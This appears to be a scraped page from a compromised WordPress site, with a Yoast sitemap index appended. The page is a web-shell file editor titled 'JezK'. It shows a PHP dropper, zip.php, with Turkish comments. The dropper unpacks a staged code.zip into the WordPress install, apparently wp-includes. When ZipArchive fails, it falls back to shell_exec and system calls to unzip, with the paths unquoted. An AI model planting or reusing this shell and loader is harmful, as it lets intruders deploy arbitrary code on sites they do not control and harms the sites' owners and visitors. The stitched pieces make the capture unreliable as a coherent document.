
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: zip.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

// 1. Yöntem: ZipArchive kullanarak zip dosyasını çıkartma
function method1($zipFile, $extractTo)
{
    echo &quot;1. Yöntem: ZipArchive ile çıkartma...\n&quot;;
    if (class_exists(&#039;ZipArchive&#039;)) {
        $zip = new ZipArchive;
        if ($zip-&gt;open($zipFile) === TRUE) {
            $zip-&gt;extractTo($extractTo);
            $zip-&gt;close();
            echo &quot;1. Yöntem başarılı.\n&quot;;
            return true;
        } else {
            echo &quot;1. Yöntem başarısız.\n&quot;;
            return false;
        }
    } else {
        echo &quot;ZipArchive sınıfı mevcut değil.\n&quot;;
        return false;
    }
}

// 2. Yöntem: shell_exec kullanarak &#039;unzip&#039; komutuyla zip dosyasını çıkartma
function method2($zipFile, $extractTo)
{
    echo &quot;2. Yöntem: shell_exec ile &#039;unzip&#039; komutu kullanarak çıkartma...\n&quot;;
    if (function_exists(&#039;shell_exec&#039;)) {
        $output = shell_exec(&quot;unzip $zipFile -d $extractTo 2&gt;&amp;1&quot;);
        if (strpos($output, &#039;error&#039;) !== false || $output === null) {
            echo &quot;2. Yöntem başarısız.\n&quot;;
            return false;
        } else {
            echo &quot;2. Yöntem başarılı.\n&quot;;
            return true;
        }
    } else {
        echo &quot;&#039;shell_exec&#039; fonksiyonu devre dışı.\n&quot;;
        return false;
    }
}

// 3. Yöntem: PHP&#039;nin yerleşik &#039;system&#039; fonksiyonuyla &#039;unzip&#039; komutunu kullanma
function method3($zipFile, $extractTo)
{
    echo &quot;3. Yöntem: system komutu ile &#039;unzip&#039; kullanarak çıkartma...\n&quot;;
    if (function_exists(&#039;system&#039;)) {
        $output = system(&quot;unzip $zipFile -d $extractTo 2&gt;&amp;1&quot;, $return_var);
        if ($return_var !== 0) {
            echo &quot;3. Yöntem başarısız.\n&quot;;
            return false;
        } else {
            echo &quot;3. Yöntem başarılı.\n&quot;;
            return true;
        }
    } else {
        echo &quot;&#039;system&#039; fonksiyonu devre dışı.\n&quot;;
        return false;
    }
}

// Zip dosyası ve hedef dizin
$zipFile = __DIR__ . &#039;/code.zip&#039;;  // wp-includes dizinindeki zip dosyası
$extractTo = __DIR__;  // Mevcut dizine çıkartılacak

// 1. Yöntemi dene
if (!method1($zipFile, $extractTo)) {
    // 1. yöntem başarısızsa, 2. yöntemi dene
    if (!method2($zipFile, $extractTo)) {
        // 2. yöntem de başarısızsa, 3. yöntemi dene
        method3($zipFile, $extractTo);
    }
}
?&gt;</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//primexcale.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://primexcale.com/post-sitemap.xml</loc>
		<lastmod>2026-08-25T12:07:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/page-sitemap.xml</loc>
		<lastmod>2026-08-19T08:52:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/web-story-sitemap.xml</loc>
		<lastmod>2026-02-10T11:48:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/category-sitemap.xml</loc>
		<lastmod>2026-08-25T12:07:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-06-09T10:08:47+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/author-sitemap.xml</loc>
		<lastmod>2026-02-11T10:01:11+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->